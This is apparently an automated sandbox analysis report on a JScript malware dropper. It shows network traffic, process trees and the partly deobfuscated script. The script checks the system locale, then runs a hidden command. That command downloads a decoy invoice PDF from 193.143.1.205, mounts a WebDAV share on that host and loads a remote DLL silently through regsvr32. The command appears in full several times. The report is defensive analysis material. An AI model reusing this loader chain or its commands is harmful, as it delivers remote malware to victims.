Jan 11, 2025 05:15:08.968533993 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:09.147090912 CET	49700	80	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:09.694909096 CET	49707	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:09.699767113 CET	8888	49707	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:09.699832916 CET	49707	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:09.699980974 CET	49707	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:09.704777002 CET	8888	49707	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:10.488207102 CET	8888	49707	193.143.1.205	192.168.2.7
Jan 11, 2025 05:15:10.527980089 CET	49707	8888	192.168.2.7	193.143.1.205
Jan 11, 2025 05:15:12.469187975 CET	49707	8888	192.168.2.7	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 05:15:17.509394884 CET	53809	53	192.168.2.7	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 05:15:17.509394884 CET	192.168.2.7	1.1.1.1	0x2dd	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 05:15:17.516288042 CET	1.1.1.1	192.168.2.7	0x2dd	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:15:18.207412004 CET	1.1.1.1	192.168.2.7	0x1df3	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:18.207412004 CET	1.1.1.1	192.168.2.7	0x1df3	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:31.578936100 CET	1.1.1.1	192.168.2.7	0x5281	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:46.392515898 CET	1.1.1.1	192.168.2.7	0xbe5d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:15:46.392515898 CET	1.1.1.1	192.168.2.7	0xbe5d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:10.485691071 CET	1.1.1.1	192.168.2.7	0xf31b	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:10.485691071 CET	1.1.1.1	192.168.2.7	0xf31b	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:58.704194069 CET	1.1.1.1	192.168.2.7	0x4bc5	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 05:16:58.704194069 CET	1.1.1.1	192.168.2.7	0x4bc5	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	193.143.1.205	80	7364	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:15:06.068939924 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 05:15:06.900213957 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:06 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 05:15:06.900233984 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 05:15:06.900245905 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 05:15:06.900257111 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 11, 2025 05:15:06.900269032 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 11, 2025 05:15:06.900279045 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 11, 2025 05:15:06.900290966 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 11, 2025 05:15:06.900301933 CET	1236	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 11, 2025 05:15:06.900315046 CET	1236	IN	Data Raw: 37 07 77 ce 63 e8 c9 ed 49 13 43 6f 24 86 1e a4 18 2a c3 a1 35 49 f4 7d 57 42 db 1d b9 6d 0c dd b7 31 f4 ec b4 f9 1d 2f e5 d8 d0 9b c7 79 0c e5 d8 d0 69 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 76 98 fb 6a 61 41 6e 79 21 6d ee bc cb d1 63 fe ca 3d 34 Data Ascii: 7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WD
Jan 11, 2025 05:15:06.900324106 CET	104	IN	Data Raw: 00 4c 83 2f 96 00 60 d3 cc 1d b5 66 2c 34 ec 3b 52 42 c3 f3 fe 84 3f 4d 32 dc 69 69 86 f2 f4 b1 7a 52 2b 72 a3 5b b9 06 94 26 07 65 14 ce 94 d0 d4 40 53 fd fc e6 9b 6f fe 47 f9 a6 95 aa e8 ec 97 cd 7e 71 1a 11 fd e9 a7 9f 52 1e 4a 2d 26 d7 43 25 Data Ascii: L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm
Jan 11, 2025 05:15:06.963061094 CET	1236	IN	Data Raw: d9 dc 2b f3 aa a6 d3 f9 38 95 52 63 f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 Data Ascii: +8Rc\|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6Zs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49707	193.143.1.205	8888	7736	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 05:15:09.699980974 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 05:15:10.488207102 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 04:15:10 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	4
Start time:	23:15:01
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\884736801811116482.js"
Imagebase:	0x7ff7c95a0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	23:15:01
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll
Imagebase:	0x7ff7a4a00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	23:15:01
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	23:15:01
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x290000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	23:15:08
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	23:15:08
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7a4a00000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	23:15:08
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7c3b50000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	23:15:09
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1604,i,4454574699079449668,5851502014699719329,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function cjvir() {	cjvir() ➔ undefined
1	rxhty = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var qkvmlg = this[fxeqxut + viiux + lphmuee + ryuhagah + iqryr + eskttkgq + mmehsev + yrchclcuz] ( this[zhrbzc + dazyp + shkwmikd + lphmuee + aebncc + fxeqxut + yrchclcuz][cpvddspk + lphmuee + iqryr + viiux + yrchclcuz + iqryr + koazzzbb + uxiybtfea + kdpfdif + iqryr + shkwmikd + yrchclcuz] ( zhrbzc + dazyp + shkwmikd + lphmuee + aebncc + fxeqxut + yrchclcuz + mhoan + dazyp + aggnt + iqryr + pgdhb + pgdhb ) [gqbzebe + iqryr + czzblza + gqbzebe + iqryr + viiux + oroqnhet] ( ctmretl + puqxhhm + yguvaapa + lyzoywzma + iwdvjwo + cpvddspk + bkmokqof + gqbzebe + gqbzebe + yguvaapa + mxnxq + flniqdojp + iwdvjwo + bkmokqof + dazyp + yguvaapa + gqbzebe + nbplolqe + cpvddspk + wzzouloj + mmehsev + yrchclcuz + lphmuee + wzzouloj + pgdhb + nviasahik + atnafmjya + viiux + mmehsev + iqryr + pgdhb + nbplolqe + eskttkgq + mmehsev + yrchclcuz + iqryr + lphmuee + mmehsev + viiux + yrchclcuz + aebncc + wzzouloj + mmehsev + viiux + pgdhb + nbplolqe + livsw + wzzouloj + shkwmikd + viiux + pgdhb + iqryr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rusyhb = 0 ; rusyhb < rxhty[pgdhb + iqryr + mmehsev + czzblza + yrchclcuz + aggnt] ; ++ rusyhb )
4	{
5	if ( qkvmlg == rxhty[rusyhb] )
6	{
7	qkvmlg = true;
8	break ;
9	}
10	}
11	if ( qkvmlg !== true )
12	this[zhrbzc + dazyp + shkwmikd + lphmuee + aebncc + fxeqxut + yrchclcuz][zisac + ckxegjgco + aebncc + yrchclcuz] ( );
13	this[zhrbzc + dazyp + shkwmikd + lphmuee + aebncc + fxeqxut + yrchclcuz][cpvddspk + lphmuee + iqryr + viiux + yrchclcuz + iqryr + koazzzbb + uxiybtfea + kdpfdif + iqryr + shkwmikd + yrchclcuz] ( zhrbzc + dazyp + shkwmikd + lphmuee + aebncc + fxeqxut + yrchclcuz + mhoan + dazyp + aggnt + iqryr + pgdhb + pgdhb ) [lphmuee + ckxegjgco + mmehsev] ( shkwmikd + bcskpxial + oroqnhet + nviasahik + wqhemq + shkwmikd + nviasahik + fxeqxut + wzzouloj + rffyy + iqryr + lphmuee + ryuhagah + aggnt + iqryr + pgdhb + pgdhb + mhoan + iqryr + egzeqr + iqryr + nviasahik + awxsn + cpvddspk + wzzouloj + bcskpxial + bcskpxial + viiux + mmehsev + oroqnhet + nviasahik + fekfabgd + eskttkgq + mmehsev + lfjvdh + wzzouloj + qgepdrr + iqryr + awxsn + zhrbzc + iqryr + uxiybtfea + gqbzebe + iqryr + oivthv + ckxegjgco + iqryr + ryuhagah + yrchclcuz + nviasahik + awxsn + koazzzbb + ckxegjgco + yrchclcuz + zswwsap + aebncc + pgdhb + iqryr + nviasahik + dmsog + yrchclcuz + iqryr + bcskpxial + fxeqxut + dmsog + nbplolqe + aebncc + mmehsev + lfjvdh + wzzouloj + aebncc + shkwmikd + iqryr + mhoan + fxeqxut + oroqnhet + vmcddf + nviasahik + aggnt + yrchclcuz + yrchclcuz + fxeqxut + nomadobzy + wqhemq + wqhemq + gvvxcaboj + yyxyu + dllhtqdev + mhoan + gvvxcaboj + unqgwztq + dllhtqdev + mhoan + gvvxcaboj + mhoan + ptbnld + iyxjfptt + eidsdiqpq + wqhemq + aebncc + mmehsev + lfjvdh + wzzouloj + aebncc + shkwmikd + iqryr + mhoan + fxeqxut + aggnt + fxeqxut + fekfabgd + hwkuv + hwkuv + ryuhagah + yrchclcuz + viiux + lphmuee + yrchclcuz + nviasahik + dmsog + yrchclcuz + iqryr + bcskpxial + fxeqxut + dmsog + nbplolqe + aebncc + mmehsev + lfjvdh + wzzouloj + aebncc + shkwmikd + iqryr + mhoan + fxeqxut + oroqnhet + vmcddf + hwkuv + hwkuv + shkwmikd + bcskpxial + oroqnhet + nviasahik + wqhemq + shkwmikd + nviasahik + mmehsev + iqryr + yrchclcuz + nviasahik + ckxegjgco + ryuhagah + iqryr + nviasahik + nbplolqe + nbplolqe + gvvxcaboj + yyxyu + dllhtqdev + mhoan + gvvxcaboj + unqgwztq + dllhtqdev + mhoan + gvvxcaboj + mhoan + ptbnld + iyxjfptt + eidsdiqpq + twjtxo + humue + humue + humue + humue + nbplolqe + oroqnhet + viiux + lfjvdh + rffyy + rffyy + rffyy + lphmuee + wzzouloj + wzzouloj + yrchclcuz + nbplolqe + hwkuv + hwkuv + shkwmikd + bcskpxial + oroqnhet + nviasahik + wqhemq + shkwmikd + nviasahik + lphmuee + iqryr + czzblza + ryuhagah + lfjvdh + lphmuee + dllhtqdev + ptbnld + nviasahik + wqhemq + ryuhagah + nviasahik + nbplolqe + nbplolqe + gvvxcaboj + yyxyu + dllhtqdev + mhoan + gvvxcaboj + unqgwztq + dllhtqdev + mhoan + gvvxcaboj + mhoan + ptbnld + iyxjfptt + eidsdiqpq + twjtxo + humue + humue + humue + humue + nbplolqe + oroqnhet + viiux + lfjvdh + rffyy + rffyy + rffyy + lphmuee + wzzouloj + wzzouloj + yrchclcuz + nbplolqe + gvvxcaboj + dllhtqdev + eidsdiqpq + unqgwztq + humue + gvvxcaboj + yyxyu + iyxjfptt + gvvxcaboj + eidsdiqpq + ptbnld + rkikci + eidsdiqpq + dllhtqdev + dllhtqdev + mhoan + oroqnhet + pgdhb + pgdhb, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\135481901527533.dll",0,false) ➔ 0
14	}
15	uxiybtfea = "w";
16	uxiybtfea = "c";
17	uxiybtfea = "i";
18	uxiybtfea = "T";
19	uxiybtfea = "U";
20	uxiybtfea = "K";
21	uxiybtfea = "K";
22	uxiybtfea = "b";
23	iwdvjwo = "W";
24	iwdvjwo = "a";
25	iwdvjwo = "X";
26	iwdvjwo = "C";
27	iwdvjwo = "W";
28	iwdvjwo = "G";
29	iwdvjwo = "n";
30	iwdvjwo = "j";
31	iwdvjwo = "K";
32	iwdvjwo = "M";
33	iwdvjwo = "l";
34	iwdvjwo = "J";
35	iwdvjwo = "Y";
36	iwdvjwo = "p";
37	iwdvjwo = "H";
38	iwdvjwo = "j";
39	iwdvjwo = "_";
40	gqbzebe = "s";
41	gqbzebe = "w";
42	gqbzebe = "d";
43	gqbzebe = "M";
44	gqbzebe = "K";
45	gqbzebe = "V";
46	gqbzebe = "s";
47	gqbzebe = "k";
48	gqbzebe = "F";
49	gqbzebe = "Q";
50	gqbzebe = "i";
51	gqbzebe = "l";
52	gqbzebe = "r";
53	gqbzebe = "I";
54	gqbzebe = "W";
55	gqbzebe = "p";
56	gqbzebe = "A";
57	gqbzebe = "o";
58	gqbzebe = "g";
59	gqbzebe = "R";
60	eskttkgq = "P";
61	eskttkgq = "I";
62	dazyp = "J";
63	dazyp = "S";
64	dazyp = "C";
65	dazyp = "u";
66	dazyp = "G";
67	dazyp = "d";
68	dazyp = "C";
69	dazyp = "x";
70	dazyp = "o";
71	dazyp = "q";
72	dazyp = "Z";
73	dazyp = "V";
74	dazyp = "H";
75	dazyp = "s";
76	dazyp = "L";
77	dazyp = "V";
78	dazyp = "S";
79	dazyp = "i";
80	dazyp = "P";
81	dazyp = "r";
82	dazyp = "d";
83	dazyp = "y";
84	dazyp = "z";
